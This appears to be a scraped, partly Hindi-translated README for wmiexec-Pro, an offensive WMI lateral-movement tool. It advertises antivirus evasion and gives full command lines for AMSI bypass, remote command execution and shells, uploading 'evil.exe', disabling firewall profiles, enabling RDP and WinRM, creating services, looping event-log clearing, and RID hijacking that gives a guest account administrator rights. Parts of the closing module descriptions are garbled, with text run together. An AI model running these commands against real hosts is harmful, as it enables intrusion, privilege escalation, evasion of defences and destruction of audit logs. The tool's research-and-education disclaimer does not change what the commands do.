
New generation of wmiexec.py
wmiexec.py की नई पीढ़ी।
wmiexec.py की नई पीढ़ी, अधिक नई सुविधाओं के साथ, सभी ऑपरेशन केवल पोर्ट 135 पर काम करते हैं (SMB कनेक्शन की आवश्यकता नहीं) पार्श्व गति (lateral movement) में AV से बचाव के लिए (Windows Defender, HuoRong, 360)
win32_process की आवश्यकता नहींकेवल Impacket के नवीनतम संस्करण की आवश्यकता है
git clone https://github.com/fortra/impacket
cd impacket && sudo pip3 install .
git clone https://github.com/XiaoliChan/wmiexec-Pro
python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h
Basic enumeration:
python3 wmiexec-pro.py administrator:[email protected] enum -run
Enable/disable amsi bypass:
python3 wmiexec-pro.py administrator:[email protected] amsi -enable
python3 wmiexec-pro.py administrator:[email protected] amsi -disable
Execute command:
python3 wmiexec-pro.py administrator:[email protected] exec-command -shell (Launch a semi-interactive shell)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" (Default is with output mode)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent (Silent mode)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old (With output in old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -save (With output and save output to file)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old -save
python3 wmiexec-pro.py administrator:[email protected] exec-command -clear (Remove temporary class for command result storage)
Filetransfer:
python3 wmiexec-pro.py administrator:[email protected] filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB)
python3 wmiexec-pro.py administrator:[email protected] filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB)
python3 wmiexec-pro.py administrator:[email protected] filetransfer -clear (Remove temporary class for file transfer)
RDP:
python3 wmiexec-pro.py administrator:[email protected] rdp -enable (Auto configure firewall)
python3 wmiexec-pro.py administrator:[email protected] rdp -enable -old (For old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rdp -disable
python3 wmiexec-pro.py administrator:[email protected] rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rdp -disable-ram (Disable Restricted Admin Mode)
WinRM (Only support win7+):
python3 wmiexec-pro.py administrator:[email protected] winrm -enable
python3 wmiexec-pro.py administrator:[email protected] winrm -disable
Firewall (Only support win8+):
python3 wmiexec-pro.py administrator:[email protected] firewall -search-port 445
python3 wmiexec-pro.py administrator:[email protected] firewall -dump (Dump all firewall rules)
python3 wmiexec-pro.py administrator:[email protected] firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)
python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile enable (Enable all firewall profiles)
python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile disable (Disable all firewall profiles)
Services:
python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe'
python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class)
python3 wmiexec-pro.py administrator:[email protected] service -action start -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action stop -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action disable -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action auto-start -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action manual-start -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action getinfo -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action delete -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -dump all-services.json
Eventlog:
python3 wmiexec-pro.py administrator:[email protected] eventlog -risk-i-know (Looping cleaning eventlog)
python3 wmiexec-pro.py administrator:[email protected] eventlog -retrive object-ID (Stop looping cleaning eventlog)
RID Hijack:
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant (Grant access permissions for SAM/SAM subkey in registry)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant-old (For old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action activate (Activate user)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action deactivate (Deactivate user)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action hijack -user 501 -hijack-rid 500 (Hijack guest user rid 501 to administrator rid 500)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login enable (Enable blank password login)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login disable
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 500 -action backup (This will save user profile data as json file)
python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -user 500 -remove (Use guest user remove administrator user profile after rid hijacked)
python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -restore "backup.json" (Restore user profile for target user)
सहायता

exec-command

filetransfer
फ़ाइल अपलोड करें

फ़ाइल डाउनलोड करें

AMSI मॉड्यूल:
exec-command मॉड्यूल:
filetransfer मॉड्यूल:
WriteFile.vbs नामक ड्रॉपर में एन्कोड करें, फिर ड्रॉपर को निष्पादित करने के लिए ऑब्जेक्ट ActiveScriptEventConsumer का नया इंस्टेंस बनाएं।LocalFileIntoClass.vbs निष्पादित करें।rdp मॉड्यूल:
TerminalServices ऑब्जेक्ट को सीधे नियंत्रित करें।StdRegProv क्लास के माध्यम से रजिस्ट्री कुंजी DisableRestrictedAdmin को नियंत्रित करें।winrm मॉड्यूल:
firewall.py का उपयोग करें।firewall मॉड्यूल:
MSFT_NetProtocolPortFilter, , क्लासों का दुरुपयोग करना।इस ओपन सोर्स पहल की भावना सुरक्षा शोधकर्ताओं और समुदाय को नेटवर्किंग प्रोटोकॉल और स्टैक के कार्यान्वयन से संबंधित शोध और शैक्षिक गतिविधियों को तेज़ करने में मदद करना है।
इस रिपॉज़िटरी में मौजूद जानकारी शोध और शैक्षिक उद्देश्यों के लिए है और इसका उपयोग उत्पादन वातावरण और/या वाणिज्यिक उत्पादों के हिस्से के रूप में करने का इरादा नहीं है।
यदि आप इस कोड या इसके किसी भाग का उपयोग अपने स्वयं के उपयोग के लिए करना चाहते हैं, तो हम उचित सुरक्षा विकास जीवनचक्र और सुरक्षित कोडिंग प्रथाओं को लागू करने के साथ-साथ अपनी आवश्यकताओं के अनुसार संबंधित समझौते के संकेतक (indicators of compromise) उत्पन्न करने और ट्रैक करने की अनुशंसा करते हैं।
MSFT_NetFirewallRuleMSFT_NetFirewallProfileservice मॉड्यूल:
Win32_Service क्लासों का दुरुपयोग करना।eventlog मॉड्यूल:
event और consumer को हटाए बिना VBS स्क्रिप्ट फ़ाइल ClearEventlog.vbs निष्पादित करें।execute-vbs मॉड्यूल:
wmipersist.py से लिया गया।classMethodEx विधि:
CreateClass.vbs निष्पादित करें। (क्यों? impacket में PutClass विधि का उपयोग करने का कोई विचार नहीं है।)DeleteClass विधि को कॉल करें।